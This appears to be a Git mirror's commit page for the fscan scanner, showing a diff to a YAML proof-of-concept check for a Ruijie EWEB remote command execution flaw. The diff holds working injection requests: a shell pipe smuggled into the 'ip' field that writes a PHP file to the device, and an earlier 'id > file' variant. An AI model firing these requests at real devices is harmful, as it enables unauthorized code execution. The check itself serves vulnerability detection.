mirrors/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2025-07-14 05:12:36 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

Update ruijie-rce-cnvd-2021-09650.yml

Browse Source
This commit is contained in:
影舞者 2021-08-31 11:17:46 +08:00 committed by GitHub
parent 65df3de81d
commit 922da8f168
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 10 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

23
WebScan/pocs/ruijie-rce-cnvd-2021-09650.yml
View File

@ -1,20 +1,23 @@
name: poc-yaml-ruijie-rce-cnvd-2021-09650 name: poc-yaml-ruijie-eweb-rce-cnvd-2021-09650
set: set:
r1: randomLowercase(9) r1: randomLowercase(4)
r2: randomLowercase(4)
phpcode: >
"<?php echo '" + r1 + "'; unlink(__FILE__); ?>"
payload: base64(phpcode)
rules: rules:
- method: POST - method: POST
path: /guest_auth/guestIsUp.php path: /guest_auth/guestIsUp.php
body: mac = 1 & ip = 127.0.0.1 | id > {{r1}}.txt body: |
follow_redirects: false ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00
expression: | expression: |
response.status == 200 response.status == 200
- method: GET - method: GET
path: /guest_auth/{{r1}}.txt path: /guest_auth/{{r2}}.php
follow_redirects: false
expression: | expression: |
response.status == 200 && response.body.bcontains(b"uid") response.status == 200 && response.body.bcontains(bytes(r1))
detail: detail:
author: jdr author: White(https://github.com/WhiteHSBG)
info: CNVD-2021-09650(Ruijie-EWEB网管系统 RCE)
links: links:
- https://github.com/opsxcq/exploit-CVE-2014-6271/ - https://xz.aliyun.com/t/9016?page=1
- https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/